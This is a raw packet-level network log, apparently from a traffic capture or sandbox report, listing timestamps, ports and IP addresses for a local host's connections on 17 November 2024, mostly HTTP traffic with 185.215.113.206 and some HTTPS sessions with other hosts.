Nov 17, 2024 12:35:38.798260927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798278093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798363924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798374891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798391104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798401117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798407078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798464060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798464060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798559904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798573971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798592091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798626900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798636913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798636913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798643112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798659086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798681021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798681021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798729897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798803091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798876047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798891068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798907042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798923016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.798957109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798957109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.798974991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799150944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799166918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799181938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799196005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799211025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799225092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799253941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799253941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799268007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799282074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799297094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799324989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799324989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799329996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799344063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799352884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799360037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.799403906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.799403906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.800271034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800287008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800302029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800318003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800333023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800348043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800364017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800378084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800383091 CET	443	49719	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:38.800394058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800407887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800414085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.800414085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.800424099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800440073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.800446033 CET	49719	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:38.800498009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.800498009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.800681114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.801090956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801107883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801122904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801139116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801153898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801166058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.801166058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.801170111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.801234007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.801234007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.801310062 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.801364899 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.801383018 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.801453114 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.801453114 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.806262016 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.806291103 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.839337111 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.839806080 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.839813948 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.840292931 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.843631983 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.843722105 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.843905926 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.858095884 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.861371994 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.862660885 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.862677097 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.862854958 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.862874985 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.863466024 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.863944054 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.864012957 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.864118099 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.864231110 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.864959002 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.865349054 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.865426064 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.869642973 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.869654894 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.883379936 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:38.883402109 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:38.907330990 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.909580946 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.949228048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.954194069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.977135897 CET	49899	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.977169991 CET	443	49899	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:38.977238894 CET	49899	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.977617025 CET	49899	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.977631092 CET	443	49899	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:38.978130102 CET	49900	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.978176117 CET	443	49900	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:38.978374004 CET	49900	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.979223013 CET	49900	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:38.979247093 CET	443	49900	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:38.980737925 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.980760098 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:38.981061935 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.981101036 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:38.981105089 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.981178045 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.981332064 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.981345892 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:38.981497049 CET	49902	443	192.168.2.5	204.79.197.219
Nov 17, 2024 12:35:38.981513023 CET	443	49902	204.79.197.219	192.168.2.5
Nov 17, 2024 12:35:39.003995895 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.004065990 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.004163980 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.005462885 CET	49903	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:39.005510092 CET	443	49903	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:39.059376955 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:39.059406042 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:39.059458017 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:39.059474945 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:39.062974930 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:39.063019991 CET	443	49889	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:39.063097000 CET	49889	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:39.111237049 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.111267090 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.111287117 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.111344099 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.111363888 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.111383915 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.111411095 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.115715981 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115741014 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115748882 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115758896 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115787029 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115811110 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.115829945 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.115854025 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.115880013 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.154742002 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.154784918 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.154877901 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.162056923 CET	49904	443	192.168.2.5	23.198.7.180
Nov 17, 2024 12:35:39.162082911 CET	443	49904	23.198.7.180	192.168.2.5
Nov 17, 2024 12:35:39.171781063 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.172213078 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.172233105 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.172585964 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.172894001 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.172959089 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.173343897 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.205930948 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.214225054 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.214457989 CET	443	49898	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.219335079 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.227969885 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.229862928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.229880095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.229897022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.229909897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.229947090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.229996920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230004072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230010986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230026960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230031967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230043888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230066061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230092049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230146885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230161905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230178118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230204105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230210066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230222940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230366945 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.230391026 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.230434895 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.230452061 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.230473042 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.230489969 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.230547905 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.230551958 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.230556011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230570078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230585098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230593920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230607986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230613947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230629921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230648994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230669022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230701923 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230705976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230719090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230732918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230748892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230762005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230777025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230779886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230792999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.230817080 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.230842113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231041908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231062889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231072903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231075048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231076002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231082916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231091022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231107950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231115103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231142998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231240988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231256008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231292963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231375933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231391907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231406927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231415987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231425047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231439114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231446981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231477976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231487036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231565952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231750965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231839895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231857061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231872082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231884956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231889009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231904984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231908083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231921911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.231925964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231952906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.231967926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.232412100 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.232435942 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.232475042 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.232494116 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.232531071 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.232538939 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.232680082 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.232726097 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.241580009 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.241597891 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.242342949 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.242357016 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.242700100 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.242727995 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.243370056 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.243376017 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.244118929 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.244175911 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.244242907 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.244268894 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.244999886 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.245011091 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.245575905 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.245595932 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.246556997 CET	49898	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.246579885 CET	443	49898	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.247375011 CET	49898	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:39.247383118 CET	443	49898	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:39.307670116 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.307682991 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:39.307740927 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.308268070 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.308279037 CET	443	49905	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:39.311741114 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.311764002 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:39.311822891 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.312284946 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:39.312297106 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:39.348364115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348383904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348407030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348423004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348457098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348472118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348486900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348519087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348545074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348593950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348710060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348754883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348771095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348824024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348831892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348838091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348846912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.348865986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.348906040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349107981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349123001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349138021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349154949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349155903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349172115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349181890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349203110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349215031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349217892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349236012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349237919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349318027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349318027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349437952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349452972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349474907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349476099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349490881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349498987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349508047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.349515915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349538088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.349728107 CET	80	49778	185.215.113.206	192.168.2.5
